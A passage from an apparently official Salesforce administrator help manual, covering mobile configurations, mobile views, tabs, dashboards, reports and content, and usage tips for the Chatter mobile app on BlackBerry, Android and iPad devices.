6. Compare the test results to the total data size limit that was set for the configuration; the limit is located in the top of the Test Data Size section. Click the size limit to increase or decrease the value on the Edit Mobile Configuration page. If the total data size is below the limit, the selected user can safely be assigned to the mobile configuration. However, keep in mind that the test results are an estimate because different devices have different storage algorithms. If the total data size exceeds the limit, reduce the size of the data by reducing the scope of your data set, refining the filter criteria of your data sets, deleting a data set, or removing fields from the mobile page layout. Repeat the testing process until the data is below the total limit. Note: The data size estimate in the Test Data Size section does not automatically refresh if you edit the data sets. Click Refresh Data Size to update the test results.

See Also:
Salesforce Mobile Overview Managing Mobile Configurations Sending Emails to Mobile Users Managing Mobile Devices

Editing Mobile Object Properties


Available in: Unlimited and Developer Editions Available for an additional cost in: Professional and Enterprise Editions

User Permissions Needed To view mobile configurations: To edit mobile object properties: View Setup and Configuration Manage Mobile Configurations

You can change the properties of standard and custom objects in the mobile application. For example, you can restrict the permissions of mobile users, or you can exclude unnecessary fields from the object's mobile page layout. Mobile object properties are customized per mobile configuration. To edit mobile object properties: 1. Click Your Name > Setup > Mobile Administration > Salesforce Mobile > Configurations. 2. Click the name of the mobile configuration you want to modify. 3. In the Mobile Object Properties related list, click Edit next to an object name. Only objects you mobilized in the configuration's data set appear in the related list. You cannot change the properties of the user object. 4. From the Edit Mobile Configuration page, you can:

882

Salesforce Mobile

Editing Mobile Object Properties

Remove Mobile Permissions Customize Mobile Page Layouts

5. Click Save when finished.

Remove Mobile Permissions


The mobile client application inherits the user's permissions from Salesforce. Some administrators want to further restrict the permissions of users when they access Salesforce data in the mobile application, usually due to limitations of the client application or the possibility of user error. For example, users can inadvertently delete a record because they don't realize that deleting a record in the mobile application also deletes the record in Salesforce. If this is a concern, administrators can prevent users from deleting records in the mobile application, regardless of their standard and custom object permissions in Salesforce. Also, Salesforce Mobile does not support all Salesforce features, such as s-controls and Apex scripting. If your business process for an object is unsupported by Salesforce Mobile, you might choose to prevent mobile users from updating those records in the mobile application. In the Permissions section, select which permissions to remove from mobile users for this object. Use the Deny Create, Deny Edit, or Deny Delete checkboxes to prevent users from creating, editing, or deleting records in the mobile application. Note: Currently, you can't block mobile permissions for the content object.

Customize Mobile Page Layouts


The mobile client application inherits the user's page layouts from Salesforce. Administrators may want to exclude some fields from each object's mobile page layout because unnecessary fields consume memory and make it harder for users to scroll through pages on the mobile device. In the Excluded Fields section, select which fields to display on the mobile device for this object. To add or remove fields, select a field name, and click the Add or Remove arrow. Mobile administrators can view all available fields per object, regardless of field-level security. Certain fields are required in order for the mobile client application to communicate with Salesforce. Those fields do not display in the Available Fields box because they are mandatory and cannot be excluded from mobile page layouts. Fields used in mobile custom views cannot be excluded from mobile page layouts. If you mobilize the content object, all of the content object's fields display in the Available Fields box; however, the layout of the content detail page in the mobile application is hard-coded to show only a few fields. Excluding fields for the content object doesn't affect the page layout in the mobile application.

See Also:
Salesforce Mobile Overview Managing Mobile Configurations Managing Mobile Tabs Creating Mobile Links

Managing Mobile Views

883

Salesforce Mobile

Managing Mobile Views

Available in: Unlimited and Developer Editions Available for an additional cost in: Professional and Enterprise Editions

User Permissions Needed To view mobile devices and users: To manage mobile custom views: View Setup and Configuration Manage Mobile Configurations

You can create mobile custom views in the Administration Setup that are available to wireless users assigned to a particular mobile configuration. Mobile custom views are different than Salesforce custom views in the following ways: Mobile views are set up by the administrator per mobile configuration. The views are available to all users assigned to the configuration, and administrators cannot restrict visibility to certain groups of users within the configuration. Each mobilized object in a mobile configuration can have up to ten custom views. Mobile views cannot be filtered by All Records or My Records. The views apply to all records stored locally on the device, regardless of ownership; however, ownership filters can be applied using the additional fields in the search criteria. Mobile views don't support filter logic. Mobile views are limited to a two-column display. Mobile views can be sorted in ascending or descending order by up to two fields.

To manage the custom views for a mobile configuration, click Your Name > Setup > Mobile Administration > Salesforce Mobile > Configurations, and then click the name of the mobile configuration. In the Mobile Views related list: To see a list of all your custom views, choose All Options in the Select an object drop-down list. You can also use the Select an object drop-down list to filter the views by object type. To create a new mobile view, select the object type from the Select an object drop-down list, and then click New Mobile View. To make changes to a mobile custom view, click Edit next to a view name. To delete a mobile custom view, click Del next to a view name. To view details about a mobile custom view, click its name.

See Also:
Tips for Entering Filter Criteria Salesforce Mobile Overview Managing Mobile Configurations Managing Mobile Devices

Creating Mobile List Views

884

Salesforce Mobile

Managing Mobile Views

Available in: Unlimited and Developer Editions Available for an additional cost in: Professional and Enterprise Editions

User Permissions Needed To view mobile devices and users: To manage mobile custom views: View Setup and Configuration Manage Mobile Configurations

For each mobile configuration, you can define up to ten mobile custom views per object that are pushed to the devices of users assigned to the configuration. To create a mobile custom view: 1. Click Your Name > Setup > Mobile Administration > Salesforce Mobile > Configurations, and then click the name of a mobile configuration. You might need to create a mobile configuration if you haven't already. 2. Scroll down to the Mobile Views related list. 3. Choose an object type from the Select an object drop-down list, and then click New Mobile View. Only objects included in the mobile configuration's data set appear in the drop-down list. You cannot create mobile views for the user object. 4. Enter the view name. Because display space on mobile devices is limited, the maximum length of a mobile view name is 30 characters. 5. In the Specify Filter Criteria section, enter conditions that the selected items must match, for example, Amount is greater than $100,000. a. Choose a field from the first drop-down list. Note: You cannot create views based on fields you excluded from mobile page layouts or fields that are hidden for all profiles and permission sets. b. Choose an operator. For descriptions of each operator, see Filter Operators on page 2646. c. In the third field, enter the value to match. Caution: Note the following about filter criteria values for mobile views: You can use the $User.ID merge field as a value in your filter criteria to reference the current user. You can't enter user names in your filter criteria. You can only enter special date values in your filter criteria, not actual dates. You can't use FISCAL special date values in the filter criteria.

d. Select Match All if items in the mobile view should match all the criteria you entered. Select Match Any if items in the mobile view should match any of the criteria you entered. Mobile custom views do not support advanced filtering options. 6. In the Select Fields to Display section, select the fields to use as display columns. The default fields are automatically selected. You can choose up to two different columns of data fields to display in your mobile custom view. 7. In the Define Sort Order section, optionally set a primary and secondary sort order for the view.

885

Salesforce Mobile

Managing Mobile Tabs

a. Select a field in the Order By drop-down list. You can sort by fields that have been excluded from the object's mobile page layout. b. Set the sort order to Ascending or Descending. 8. Click Save.

See Also:
Managing Mobile Views Managing Mobile Configurations Managing Mobile Devices

Managing Mobile Tabs


Available in: Unlimited and Developer Editions Available for an additional cost in: Professional and Enterprise Editions

User Permissions Needed To view mobile configurations: To manage mobile tabs: View Setup and Configuration Manage Mobile Configurations

For each mobile configuration, you can select the tabs that appear in the mobile application and define the order of the tabs. The available tabs for a mobile configuration include: Standard object tabs Custom object tabs Visualforce tabs that have been enabled for the mobile application Web tabs that have been enabled for the mobile application

By default, tabs in the mobile application reflect Salesforceif an object's tab is hidden in Salesforce, it is hidden in the mobile application as well. Note: If you customize mobile tabs, the tabs you select for the mobile configuration are sent to users' mobile devices even if the tabs have not been added to an application. Although the tabs are sent to the device, they only display in the mobile application if users have permission to view the tab. There are several reasons you might want to hide an object's tab in Salesforce Mobile even though the object records are sent to the device. The mobile application has much less screen space to display a row of tabs, so occasionally administrators choose to reduce the amount of tabs on the device. Also, sometimes a custom object has a relationship to a standard object, and users access the custom object record from the parent object record. In that case, you could mobilize the custom object but hide the tab. To begin managing the tabs for a mobile configuration, click Your Name > Setup > Mobile Administration > Salesforce Mobile > Configurations, and then click the name of a mobile configuration.

886

Salesforce Mobile

Managing Mobile Tabs

To view the tabs for a mobile configuration, scroll down to the Mobile Tabs related list. If you have not customized the configuration's tabs, the related list displays a message indicating that the default tab behavior is used for the configuration. To select the tabs and define their order for the first time, click Customize Tabs. See Customizing Mobile Tabs on page 887. To change the tab setup for a mobile configuration, click Edit. To delete the mobile tab setup and use the default tab behavior, click Reset to Default. To enable Visualforce or web tabs for mobile users, edit the properties of the tabs and select the Mobile Ready checkbox. See Creating Visualforce Tabs on page 1933 and Creating Web Tabs on page 1634. Caution: Not all websites and Visualforce features are supported on mobile devices. Carefully review the best practices for creating mobile-friendly pages before enabling Visualforce or web tabs for the mobile application.

See Also:
Salesforce Mobile Overview Managing Mobile Configurations

Customizing Mobile Tabs


Available in: Unlimited and Developer Editions Available for an additional cost in: Professional and Enterprise Editions

User Permissions Needed To view mobile configurations: To customize mobile tabs: View Setup and Configuration Manage Mobile Configurations

To edit the tabs for a mobile configuration: 1. Click Your Name > Setup > Mobile Administration > Salesforce Mobile > Configurations, and then click the name of a mobile configuration. 2. In the Mobile Tabs related list, click Customize Tabs to define mobile tabs for the first time. If you have already set up the mobile tabs, click Edit. 3. Select tabs from the Available Tabs list, and click the Add arrow to add them to the mobile configuration. The Available Tabs list includes standard object tabs and custom object tabs. It also includes web and Visualforce tabs that have been enabled for the mobile application. To enable Visualforce or web tabs for mobile users, edit the properties of the tabs and select the Mobile Ready checkbox. See Creating Visualforce Tabs on page 1933 and Creating Web Tabs on page 1634. Note: Not all websites and Visualforce features are supported on mobile devices. Carefully review the best practices for creating mobile-friendly pages before enabling Visualforce or web tabs for the mobile application.

887

Salesforce Mobile

Managing Mobile Tabs

4. In the Selected Tabs list, choose tabs and click the Up and Down arrows to arrange the tabs in the order they should appear in the mobile application. 5. Click Save. Note: iPhone users can customize the order of their tabs in the mobile client application. If the user customizes their tab order, any administrator changes to the tab order in the mobile configuration are ignored by the client application, and any newly mobilized tabs are added below the user's existing tabs.

See Also:
Managing Mobile Tabs Salesforce Mobile Overview Managing Mobile Configurations

Defining Mobile Tabs


Available in: Unlimited and Developer Editions Available for an additional cost in: Professional and Enterprise Editions

You can make web and Visualforce tabs available in the mobile application. When you build the web tab or Visualforce tab, select the Mobile Ready checkbox in the wizard to verify that the web page or Visualforce page displays and functions properly on a mobile phone. Selecting the checkbox adds the tab to the list of available tabs for your mobile configurations. It is important to note that most mobile browsers have technical limitations concerning display size, scripts, processor speed, and network latency. Review the following considerations before mobilizing your web and Visualforce pages to ensure that they are compatible with mobile browsers. Mobile Web Tab Considerations Consider the following when defining a mobile web tab: The ability to mobilize web tabs is only available for BlackBerry and iPhone. If you mobilize a web tab, keep in mind that Windows Mobile users cannot view the tab in the mobile application. The minimum BlackBerry operating system requirement for web tabs is 4.3. The tab type must be URL. The mobile application cannot run s-controls. Some web pages contain JavaScript and Flash, but not all mobile browsers support them: Apple's Safari browser supports JavaScript, but not Flash. The BlackBerry browser has limited support for JavaScript and no support for Flash. Before mobilizing the web tab, navigate to the target URL on one of your organization's mobile devices to verify that it works as expected in a mobile browser. In the event that your organization's device inventory includes phones with different operating systemsfor example, both iPhones and BlackBerry smartphonesbe sure to test on each type of device. If users cannot accomplish the necessary tasks on the web page from a mobile browser, do not mobilize the web tab. In order for BlackBerry users to view JavaScript web pages, JavaScript must be enabled on the smartphones. The BlackBerry administrator can globally enable JavaScript from the BlackBerry Enterprise Server. Users can also enable JavaScript on a

888

Salesforce Mobile

Managing Mobile Tabs

BlackBerry smartphone by opening the BlackBerry browser, selecting Options > Browser Configuration, and then selecting the Support JavaScript checkbox. Visualforce Mobile Tab Considerations Consider the following when defining a mobile Visualforce tab: Visualforce Mobile is only available for BlackBerry and iPhone. If you mobilize a Visualforce tab, keep in mind that Windows Mobile users cannot view the tab in the mobile application. The mobile application can run on BlackBerry operating system versions 4.3 through 6.0. For optimum performance, however, Salesforce recommends running Visualforce Mobile on BlackBerry smartphones installed with at least version 4.6. Because the display size is limited on mobile browsers, we recommend redesigning the Visualforce page to optimize it for mobile users: Set the sidebar and showHeader attributes on the <apex:page> tag to false. Phones have small screens and limited processing power, so it is essential that the page suppresses the tab header and sidebar. Set the standardStylesheets attribute on the <apex:page> tag to false. The standard Salesforce stylesheet causes pages to load slowly on the device. Additionally, most BlackBerry browsers cannot properly interpret CSS . The best approach to adding a stylesheet to your page is to include a <style> section just below the <apex:page> component. Set the columns attribute on the <apex:pageBlockSection> component to 1. There is not enough room on a mobile devices screen to display two columns, so specifying a one-column layout prevents fields from wrapping awkwardly on the page. Splash pages do not display in the mobile application. In the mobile application, the Visualforce page is embedded in a tab, so you should avoid using tabs for navigation in mobile Visualforce pages. Even if you know that the mobile browser supports the JavaScript in your Visualforce page, keep your use of JavaScript to a minimum. Mobile devices generally have slow network connections, and too many scripts running on a page creates a poor user experience. To minimize the amount of JavaScript on your mobile Visualforce pages, try to build them using mostly WML and HTML. All Visualforce pages contain JavaScript, even if you do not create pages that use JavaScript code. In order for BlackBerry users to view Visualforce pages, JavaScript must be enabled on the smartphones. The BlackBerry administrator can globally enable JavaScript from the BlackBerry Enterprise Server. Users can also enable JavaScript on a BlackBerry smartphone by opening the BlackBerry browser, selecting Options > Browser Configuration, and then selecting the Support JavaScript checkbox. The embedded browser in the BlackBerry client application does not have built-in navigation. If your Visualforce page is a wizard, you should provide navigation links that allow users to return to the previous page and advance to the next page. BlackBerry administrators should be aware that the download size setting on the BlackBerry Enterprise Server affects how much data can be pushed to the device. Check that the download size setting is appropriate, and be sure to test your Visualforce pages before deploying them to your mobile users. User agent inspection can be executed in a custom controller to support multiple devices. You can do this by inspecting the appropriate result of the getHeaders() method on the current page reference.

See Also:
Managing Mobile Tabs Managing Mobile Configurations Supported Devices for Mobile Creating Mobile Links

889

Salesforce Mobile

Setting Up Mobile Dashboards

Setting Up Mobile Dashboards


Available in: Unlimited and Developer Editions Available for an additional cost in: Professional and Enterprise Editions

User Permissions Needed To view mobile configurations: To mobilize dashboards: View Setup and Configuration Manage Mobile Configurations

You can make the Dashboards tab available in Salesforce Mobile by adding it to the tabs for a mobile configuration. Mobile dashboards allow field users to keep up with corporate metrics and key performance indicators even when they are away from their desks. Note the following about mobile dashboards: The Dashboards tab in the mobile application launches an embedded browser to display the dashboards. Due to screen size limitations, mobile dashboards display in a single column. Links to custom report details are disabled in mobile dashboards. The first time a user visits the Dashboards tab in Salesforce Mobile, the mobile application requests the last dashboard the user viewed in Salesforce. Depending on the strength of the cellular or WiFi signal, it could take several minutes before the dashboard displays on the page. Dashboards do not automatically refresh in the mobile application. Users can request a dashboard refresh by clicking the Refresh button. Users are able to work offline in the mobile application. Without a wireless connection, users can see the last viewed dashboard, but they cannot refresh the dashboard or select a different one. The minimum BlackBerry operating system requirement for mobile dashboards is 4.5. Mobile dashboards are compatible with version 4.3, but tables in the dashboards might not display properly. BlackBerry administrators should be aware that the download size setting on the BlackBerry Enterprise Server affects how much dashboard data can be pushed to the device. Check that the download size setting is appropriate, and be sure to test your dashboards before deploying them to your mobile users. Note: Currently, dashboards are only available in the BlackBerry and iPhone mobile client applications.

To enable mobile dashboards: 1. Click Your Name > Setup > Mobile Administration > Salesforce Mobile > Configurations, and then click the name of a mobile configuration. 2. In the Mobile Tabs related list, click Customize Tabs to define mobile tabs for the first time. If you have already set up the mobile tabs, click Edit. 3. Select Dashboards from the Available Tabs list, and click the Add arrow to add it to the mobile configuration. The Available Tabs list includes standard object tabs and custom object tabs. It can also include web and Visualforce tabs.

890

Salesforce Mobile

FAQ: Mobile Dashboards for iPad Users

Caution: If you have not yet customized tabs in the mobile configuration, you must select all the tabs that should appear in the mobile application, not just the Dashboards tab. 4. In the Selected Tabs list, choose the Dashboards tab and click the Up and Down arrows to define where the Dashboards tab should appear in the mobile application. 5. Click Save.

FAQ: Mobile Dashboards for iPad Users


Available in: Enterprise and Unlimited Editions

What is the Salesforce mobile dashboards app? in the Salesforce online help How do I start using the app? in the Salesforce online help What iPad models does the app support? in the Salesforce online help Why wont the app let me sign in? in the Salesforce online help How do I get the latest data? in the Salesforce online help How do I view details for a component? in the Salesforce online help How do I share data with others? in the Salesforce online help How do I log out? in the Salesforce online help

What is the Salesforce mobile dashboards app?


Salesforce Mobile Dashboards keeps you in touch with your organizations data, performance, and trends, whether youre in the office or on the road. Use this app to: Browse recent dashboards, or ones youre following Search for dashboards View any dashboard you have access to Tap to view individual dashboard components Interact with components to see values Email a dashboard or an individual component

You can download the app for free from the Apple App Store if your organization uses Salesforce Unlimited or Enterprise editions.

How do I start using the app?


As long as youve network connection to access your Salesforce organization from your iPad, you can use the app. When you launch the app, sign in using your Salesforce email and password. If you dont have an account, you can still browse the app by tapping Demo.

What iPad models does the app support?


Both first and second generation iPad models running iOS 4.2 or higher are supported.

891

Salesforce Mobile

Enabling Mobile Dashboards for iPad Users

Why wont the app let me sign in?


The sign-in screen may not be visible if you dont have network connectivity. Try logging in to your Salesforce account from the Safari browser on your iPad to see if your network connection is working. Your organization may require VPN to connect.

How do I get the latest data?


Tap to see the latest version of the dashboards you viewed recently or are following. Tap . to refresh data for

the dashboard youre currently viewing. To see when you last refreshed a dashboard, press

How do I view details for a component?


Tap a dashboard component to view it. In the component view, tap a shaded portion of a pie, funnel, or bar chart to see its value.

How do I share data with others?


Tap to email a dashboard or component. Email recipients who arent part of your organizations address book see the dashboard or component as an attached .png file.

How do I log out?


1. Press the Home key twice to view running apps. 2. Press Dashboards and press the red icon to end the active app session. 3. Under Settings > Apps > Dashboards, set Logout to ON.

Enabling Mobile Dashboards for iPad Users


Available in: Enterprise, Unlimited Editions

User Permissions Needed To view mobile dashboard settings: To modify mobile dashboard settings: View Setup and Configuration Customize Application

To give iPad users access to their dashboards: 1. Click Your Name > Setup > Mobile Administration > Mobile Dashboards > Settings. 2. Select Enable the Mobile Dashboards iPad app for all users. 3. Click Save.

892

Salesforce Mobile

Setting Up Mobile Reports

To view dashboards from your iPad, download the Salesforce Mobile Dashboards app from the iTunes App Store.

See Also:
Customizing Report and Dashboard Settings Customizing Report and Dashboard Email Settings Customizing Report and Dashboard User Interface Settings

Setting Up Mobile Reports


Available in: Unlimited and Developer Editions Available for an additional cost in: Professional and Enterprise Editions

User Permissions Needed To create, edit, and delete public report folders: Manage Public Reports

To enable reports for the mobile application, create a Mobile Reports folder in Salesforce, add reports to the folder, then add the Reports tab to your mobile configurations. To enable reports: 1. From the reports home page in Salesforce, click Create New Folder. 2. In the Report Folder field, enter: Mobile Reports. The server does not load reports on the mobile device unless the folder is named Mobile Reports. Be sure to check for any typos in the name before saving the folder. Additionally, Salesforce does not require folder names to be unique. Mobile users can see any report stored in folders named Mobile Reports unless you restrict access with the folder visibility option. 3. Choose a Public Folder Access option. This option does not affect the ability of mobile users to run reports. 4. Optionally, select any unfiled reports and click Add to store them in the Mobile Reports folder. You can also add reports to the folder after saving the folder. 5. Choose a folder visibility option.
This folder is accessible by all users gives every user in your organization the ability to see the list of

mobile reports from their devices.


This folder is accessible only by the following users lets you grant access to a desired set of users.

Do not make the folder private unless you want to hide mobile reports from all users, including yourself. 6. Click Save. 7. To add a report to the Mobile Reports folder, click the report name on the reports home page, and then click Save As. Save the report in the Mobile Reports folder. After saving the report, you can edit the options to make the report easier to view on a mobile device. For example, you might reduce the number of columns or enter additional filtering criteria. 8. Click Your Name > Setup > Mobile Administration > Salesforce Mobile > Configurations, and then click the name of a mobile configuration.

893

Salesforce Mobile

Setting Up Mobile Content

9. In the Mobile Tabs related list, click Customize Tabs to define mobile tabs for the first time. If you have already set up the mobile tabs, click Edit. 10. Select Reports from the Available Tabs list, and click the Add arrow to add it to the mobile configuration. The Available Tabs list includes standard object tabs and custom object tabs. It can also include web and Visualforce tabs. Caution: If you have not yet customized tabs in the mobile configuration, you must select all the tabs that should appear in the mobile application, not just the Reports tab. 11. In the Selected Tabs list, choose the Reports tab and click the Up and Down arrows to define where the Reports tab should appear in the mobile application. 12. Click Save. Note: Reports are not currently available in Salesforce Mobile for iPhone.

Setting Up Mobile Content


Available in: Unlimited and Developer Editions Available for an additional cost in: Professional and Enterprise Editions

User Permissions Needed To view mobile configurations: To create, change, or delete mobile data sets: View Setup and Configuration Manage Mobile Configurations

You can set up the mobile application so that your users are able to share content with customers and colleagues directly from their mobile devices. When you mobilize the content object in your organization's mobile configurations, the Content tab appears in the mobile application. Note the following about how Salesforce CRM Content is implemented in the mobile application: Content record information is synchronized to the device; however, the files associated with the content records are not. This allows users to deliver content from the mobile application even when a file is too large to be downloaded to a mobile device. Users can't search for a specific piece of content in the mobile application. They can only share the content available on the Content tab, which is automatically synchronized to their device based on the filters in their assigned mobile configuration. Users can't view a list of their subscribed content in the mobile application. They also can't filter the list of records on the Content tab based on a particular library. While users can preview and share content from the mobile application, they can't update the file associated with a content record. If they have the required permissions, they can edit the fields on the content detail page. Users must be in wireless coverage to preview and deliver content. Without a wireless connection, they can only view the content detail page. Content is only supported by the BlackBerry and iPhone mobile client applications.

894

Salesforce Mobile

Chatter Mobile App Overview

Content is not available in Mobile Lite, which is the free version of the mobile application. You can't block mobile permissions for the content object. Currently, the content object in the mobile application is read-only. You can't edit the mobile page layout for the content object. The content detail page in the mobile application is hard-coded to display only a few fields.

To set up Content for the mobile application: 1. Click Your Name > Setup > Mobile Administration > Salesforce Mobile > Configurations, and then click the name of a mobile configuration. 2. In the Data Sets related list, click Edit. 3. Click Add.... 4. In the popup window, select Content, then click OK. 5. Use field filters to specify which content records are synchronized. Because users can't search for content in the mobile application, it's essential to set up filters that make important content available on the device. You can't create filters based on libraries or subscriptions, but here are a few options for setting up useful filter conditions: Date: Filter on the Last Modified Date, Content Modified Date, or Created Date fields. Use special date values like LAST 90 DAYS or LAST 180 DAYS to ensure that recently updated content records are synchronized. Owner: Filter on the author if certain people in your organization are responsible for publishing content. File Type: Filter on certain types of documents. For example, your sales team might generally be interested in presentations or PDF documents. Custom Fields: If you created custom content fields that help you categorize your content, filter on the custom fields. For example, if you built a Functional Use field with picklist values, you could set up a filter condition where Functional Use equals Sales.

6. Optionally prevent content records from consuming all the memory on a mobile device by selecting the second radio button under Set Max Record Limit and entering the maximum number of content records this configuration can transfer to mobile devices. Use the Order By and Sort drop-down lists to specify which records are synchronized if the data size limit is exceeded. 7. Click Done when you're finished. 8. Optionally modify other mobile configurations and mobilize the content object.

Chatter Mobile App Overview


Available in: All Editions except Database.com

The Chatter mobile app lets you collaborate in Chatter from your mobile device as follows: Receive updates about the people and records you follow and your groups. View and create posts and comments. Post photos from your device. Find and follow people in your organization. Find and join groups in your organization. View your coworkers' profiles to see their contact information, bio, who they're following, and who's following them.

895

Salesforce Mobile

Chatter Mobile App Overview

Email, call, or text people directly from their Chatter profiles on devices with telephony.

The Chatter mobile app is free and available for: Android devices with OS 2.1, 2.2, or 2.3 Apple iPhone, iPad, and iPod Touch with iOS 4.0 or higher BlackBerry devices with OS 5 or higher

Download the Chatter mobile app from either www.salesforce.com/mobile/apps/download/ or the online location where you typically download apps for your phone, such as Apple App Store, Android Market, or BlackBerry App World. Customers that manage BlackBerry devices with a BlackBerry Enterprise Server can use Application Push to remotely deliver the Chatter mobile app to users. Navigate to downloads.salesforce.com/downloads/mobile/index.html and click BESpush under Chatter Files and Tools to download the Application Push package. The Chatter mobile app is enabled for use in most organizations by default. If it is not enabled in your organization or you want to change the default settings, see Configuring the Chatter Mobile App.

Limitations
The Chatter mobile app does not have all of the functionality of Chatter on the Web. The following table shows the mobile app limitations for each device. Android Update your profile or change your profile photo No Post files other than images View the Files tab and Chatter feeds for files Follow files Search for files and records Search for Chatter feed items Search for updates associated with a topic View files related to a person or group Create groups Invite coworkers to sign up for Chatter Access Chatter as a customer View and send Chatter private messages Yes No No No No No Yes No No No No BlackBerry No Yes No No No Yes Yes Yes No No Yes Yes iPhone/iPod Touch iPad No No No No No No No No No No No No No No No Yes No No No Yes No No No No

896

Salesforce Mobile

Chatter Mobile App Overview

Receive Chatter push notifications

No

Yes

No

No

See Also:
Tips for Using the Chatter Mobile App on Android Devices Tips for Using the Chatter Mobile App on BlackBerry Devices Tips for Using the Chatter Mobile App on iPads Tips for Using the Chatter Mobile App on iPhones and iPod Touches Chatter Overview Salesforce Mobile Overview Mobile Lite Overview

Tips for Using the Chatter Mobile App on BlackBerry Devices


Available in: All Editions except Database.com

Where is the Chatter tab? on page 897 How do I post and comment? What keyboard shortcuts can I use? How do I search for items in the Chatter mobile app? How do I filter Chatter updates to see only those that mention me? How do I view and send Chatter messages in the mobile app? What are push notifications? How do I enable or disable them? Can customers use the Chatter mobile app? How do I connect to different instances of Chatter or Salesforce? What is the benefit of connecting Chatter to BlackBerry Messenger? on page 899

Where is the Chatter tab? You navigate Chatter differently in the BlackBerry mobile app than you do on the web. Many of the options you find on the Chatter tab in the web app are available from the Chatter menu in the BlackBerry mobile app. Select the Chatter icon in the upper left corner of the app to open a navigation menu containing commonly accessed Chatter features, like your Chatter feed, messages, lists, the @ Me filter, and search. As with most BlackBerry apps, you can press the physical menu button on your device while using Chatter to open a menu containing context-sensitive options related to the current screen. How do I post and comment? To update your status, select Chatter > My Chatter, then press the menu key and select New Update. To post to a group feed, select Chatter > Groups and select the group. Select Post. , or press the menu key and select New

897

Salesforce Mobile

Chatter Mobile App Overview

To post to someone's profile feed, select Chatter > People. Choose the person whose profile you want to view and select . You can also press the menu key and select New Post. To comment on a post or update, select the post or update to open the detail page, then select Comment. Tip: When posting, choose post. to select from the photos on your device, or to take a picture to attach to the

What keyboard shortcuts can I use? You can use the following shortcuts:
c = Enter a comment. t = Go to the top of the feed. b = Go to the bottom of the feed. m = Load more posts.

How do I search for items in the Chatter mobile app? To find Chatter feeds, groups, people, or files: 1. Select Chatter > Search. 2. Enter your search terms in the search box. 3. Use the Chatter, People, Groups, and Files tabs below the search box to select the type of items you want to find. 4. Choose . 5. From the search results, choose an item to open it. Tip: If your BlackBerry device is running OS 6 or higher, you can also find Chatter items using BlackBerry universal search. Select the search icon on your BlackBerry home screen, enter your search terms, then select one of the Chatter icons to launch the search in the Chatter mobile app. How do I filter Chatter updates to see only those that mention me? In the Chatter mobile app, the @ Me filter is available as an option on the Chatter menu. Select Chatter > @ Me to display both posts others make to your Chatter feed as well as updates where you were mentioned. How do I view and send Chatter messages in the mobile app? Chatter private messages let you have secure conversations with other Chatter users. Select Chatter > Messages to view your messages in the mobile app. To send a Chatter message: 1. 2. 3. 4. 5. 6. Select Chatter > Messages. Press the menu key and choose New Message. Search for a person and select their name in the People list. To add additional recipients, select the To field. Write your message. Select Send. Tip: You can also select on someones profile to send them a message.

898

Salesforce Mobile

Chatter Mobile App Overview

What are push notifications? How do I enable or disable them? Push notifications are alerts that Chatter sends to your BlackBerry home screen and your Messages inbox when you're not using the Chatter mobile app. The Chatter mobile app uses push notifications to keep you aware of important Chatter activity without requiring you to return to the app. A setting controls whether or not you receive Chatter push notifications; however, you can't enable push notifications if they were disabled by your administrator. To enable or disable push notifications: 1. Navigate to the BlackBerry Settings screen for third party applications and choose Chatter. 2. Edit the Enable Chatter Push Notifications option. 3. Select Save from the menu. To change the sound alert for push notifications: 1. 2. 3. 4. Navigate to the BlackBerry Settings screen for third party applications and choose Sounds and Ringtones, Select Sounds for Selected Profile, then select Other Applications Notifiers. Choose Chatter. Adjust the sound alert settings, then select Save from the menu.

Can customers use the Chatter mobile app? Customers are users outside of your company's email domains. They have very limited Chatter access and can only see groups they're invited to and interact with members of those groups. The Chatter mobile app for BlackBerry supports access for customers. Customers and groups with customers are identified as customers in the mobile app. The Chatter mobile app applies the same restrictions to customers as Chatter on the Web. How do I connect to different instances of Chatter or Salesforce? To connect to another instance of Chatter or Salesforce: 1. Navigate to the BlackBerry Settings screen for third party applications and choose Chatter. 2. In the Login Host drop-down menu, select Production, Sandbox, or Custom. Production is selected by default. Choose Sandbox to connect to a Force.com sandbox organization for testing and training. To use the Chatter mobile app with single sign-on, choose Custom and enter the custom login URL for your network. 3. Press the menu key and select Save. What is the benefit of connecting Chatter to BlackBerry Messenger? With the Chatter mobile app connected to BlackBerry Messenger (BBM), you can easily share information in Chatter with your BBM contacts who also use Chatter. The Chatter mobile app can also update your BBM profile with your latest activities in Chatter. To connect the Chatter mobile app to BBM: 1. Visit the BlackBerry App World from your device and upgrade to the latest version of BlackBerry Messenger. The minimum requirement is BlackBerry Messenger 6.0. If youve never used BlackBerry Messenger, complete the BBM setup process on your device before attempting to connect Chatter to BBM. 2. Visit the BlackBerry App World from your device and upgrade to the latest version of Chatter. The minimum requirement is Chatter 3.0. 3. Open the Chatter mobile app. 4. When prompted to connect Chatter to BlackBerry Messenger, select Yes, then select Edit Settings.

899

Salesforce Mobile

Chatter Mobile App Overview

The prompt only displays if youre using BlackBerry Messenger 6.0 or higher. If you have a compatible version of BBM and you didnt receive the prompt, press the menu key and select Log Out, then close and re-open the Chatter mobile app. 5. In the Connect to BBM drop-down list, select Connected. 6. Optionally, select the Post recent activities to my profile checkbox to let Chatter update your BBM status with recent app activities. 7. Optionally, select the Ignore invitations to become a BBM contact checkbox to prevent other Chatter users in your company from sending you BBM contact invites. 8. Press the menu key and select Close. 9. Select Save, then select OK. To share information in Chatter with BBM contacts, navigate to the user profile, group profile, record, or file, press the menu key, and select Share via BBM.

See Also:
Chatter Mobile App Overview Bypassing IP Restrictions for Chatter Mobile App Users Configuring the Chatter Mobile App Viewing Chatter Mobile App Activity and Revoking Access

Tips for Using the Chatter Mobile App on Android Devices


Available in: All Editions except Database.com

How do I get started using the Chatter mobile app? in the Salesforce online help How do I post and comment? in the Salesforce online help How do I refresh a feed? in the Salesforce online help How do I filter Chatter updates to see only those that mention me? in the Salesforce online help How do I search for people and groups? in the Salesforce online help How do I view and send Chatter messages in the mobile app? in the Salesforce online help Can customers use the Chatter mobile app? in the Salesforce online help How do I connect to different instances of Chatter or Salesforce? in the Salesforce online help

How do I get started using the Chatter mobile app? Before users can log into the Chatter mobile app, an administrator must: 1. 2. 3. 4. 5. 6. Log into Salesforce through a Web browser. Click Your Name > Setup > Mobile Administration > Chatter Mobile > Settings. Enable Chatter mobile for your organization. Specify the types of mobile devices that can use the Chatter mobile app. Click Save. If your organization restricts login IP ranges, click Your Name > Setup > Mobile Administration > Chatter Mobile > IP Restricted Users and specify the users and groups that need to access the Chatter mobile app outside of your organization's login IP range.

900

Salesforce Mobile

Chatter Mobile App Overview

